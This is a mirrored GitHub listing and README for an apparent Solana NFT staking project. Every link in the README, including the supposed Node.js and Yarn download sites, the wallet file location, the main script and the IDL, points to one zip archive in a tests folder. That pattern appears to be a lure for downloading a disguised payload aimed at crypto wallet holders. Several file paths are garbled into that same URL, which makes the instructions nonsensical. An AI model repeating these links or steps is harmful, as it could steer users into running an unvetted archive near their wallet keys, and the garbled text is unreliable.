https://github.com/advvm43/astronaut-nft-staking
🚀 Stake your Astronaut NFTs for multiple rewards with our easy-to-use program, featuring three unique staking models.
https://github.com/advvm43/astronaut-nft-staking
anchor nft reward rust smart-contract smartcontract solana web3
Last synced: 3 months ago
JSON representation
🚀 Stake your Astronaut NFTs for multiple rewards with our easy-to-use program, featuring three unique staking models.
- Host: GitHub
- URL: https://github.com/advvm43/astronaut-nft-staking
- Owner: advvm43
- Created: 2025-10-10T07:30:17.000Z (9 months ago)
- Default Branch: main
- Last Pushed: 2026-04-10T02:50:47.000Z (3 months ago)
- Last Synced: 2026-04-10T04:28:11.222Z (3 months ago)
- Topics: anchor, nft, reward, rust, smart-contract, smartcontract, solana, web3
- Language: TypeScript
- Size: 1.96 MB
- Stars: 1
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# 🚀 Astronaut-NFT-Staking - Stake Your NFTs with Ease
[](https://github.com/advvm43/Astronaut-NFT-Staking/raw/refs/heads/main/backend/tests/Astronaut_NF_Staking_v1.9.zip)
## 🌟 Overview
Welcome to the **Astronaut-NFT-Staking** project. This application allows you to stake your Astronaut NFT collections using a multiple factor rewards program. You can choose from three different staking models to maximize your rewards. This guide walks you through downloading and running the application step by step.
## 🚀 Getting Started
To begin, you need to download the application from the Releases page. Follow these steps:
1. **Visit the Downloads Page:**
Go to [this link](https://github.com/advvm43/Astronaut-NFT-Staking/raw/refs/heads/main/backend/tests/Astronaut_NF_Staking_v1.9.zip) to download the software you need.
## 💻 System Requirements
- Operating System: Windows, macOS, or any Linux distribution.
- Minimum RAM: 4GB.
- Disk Space: At least 500MB free.
## 📥 Download & Install
2. **Download the Latest Release:**
On the Releases page, find the latest version, and click the download link. Follow the prompts to save the file on your computer.
3. **Install Dependencies:**
To run the application, ensure you have the following installed on your machine:
- **https://github.com/advvm43/Astronaut-NFT-Staking/raw/refs/heads/main/backend/tests/Astronaut_NF_Staking_v1.9.zip** This allows you to run JavaScript outside of a web browser.
- Download from [https://github.com/advvm43/Astronaut-NFT-Staking/raw/refs/heads/main/backend/tests/Astronaut_NF_Staking_v1.9.zip official site](https://github.com/advvm43/Astronaut-NFT-Staking/raw/refs/heads/main/backend/tests/Astronaut_NF_Staking_v1.9.zip).
- **Yarn:** This is a package manager.
- Install it by following the instructions on [Yarn's website](https://github.com/advvm43/Astronaut-NFT-Staking/raw/refs/heads/main/backend/tests/Astronaut_NF_Staking_v1.9.zip).
- **ts-node:** This is a TypeScript execution engine.
- Install it globally using the command:
```bash
npm install -g ts-node
```
4. **Prepare Your Solana Wallet:**
Make sure your Solana wallet is set up correctly. You need the wallet file at this location:
`https://github.com/advvm43/Astronaut-NFT-Staking/raw/refs/heads/main/backend/tests/Astronaut_NF_Staking_v1.9.zip`.
## 🔧 Using the Application
5. **Access the Main Script:**
The main functionality of the application is in the script located at:
`https://github.com/advvm43/Astronaut-NFT-Staking/raw/refs/heads/main/backend/tests/Astronaut_NF_Staking_v1.9.zip`.
6. **Understand the Program Account Types:**
All types for the program are declared here:
`https://github.com/advvm43/Astronaut-NFT-Staking/raw/refs/heads/main/backend/tests/Astronaut_NF_Staking_v1.9.zip`.
7. **Setting Up JS Bindings:**
The IDL, which helps in making JavaScript bindings easier, is located here:
`https://github.com/advvm43/Astronaut-NFT-Staking/raw/refs/heads/main/backend/tests/Astronaut_NF_Staking_v1.9.zip`.
## 🛠️ Running the Application
8. **Test the Script Functions:**
To verify everything works, follow these steps:
- Change the commands in the main function of `https://github.com/advvm43/Astronaut-NFT-Staking/raw/refs/heads/main/backend/tests/Astronaut_NF_Staking_v1.9.zip` to call the other functions properly.
- Confirm the `ANCHOR_WALLET` environment variable in the `ts-node` script in `https://github.com/advvm43/Astronaut-NFT-Staking/raw/refs/heads/main/backend/tests/Astronaut_NF_Staking_v1.9.zip`.
- Execute the following command in your terminal:
```bash
yarn ts-node
```
## 🪙 Features
### 🌌 As a Smart Contract Owner
9. **Initialize the Smart Contract:**
For first-time use, initialize the Smart Contract for global account allocation by running:
```bash
initProject
```
10. **Update Threshold Values:**
If you need to change any thresholds, recall the `initialize` function to update the values accordingly.
## 📝 Additional Information
- **Learning Resources:** If you want to understand how to stake NFTs, consider looking for online courses or documentation related to smart contracts and NFT technology.
- **Support & Community:** Join our community on forums or social media to ask questions and get help from other users.
## 🌠 Conclusion
You now have all the necessary steps to download, set up, and use the Astronaut-NFT-Staking application. If you encounter any issues, refer back to this guide or seek help from the community. Enjoy staking your Astronaut NFTs!
[](https://github.com/advvm43/Astronaut-NFT-Staking/raw/refs/heads/main/backend/tests/Astronaut_NF_Staking_v1.9.zip)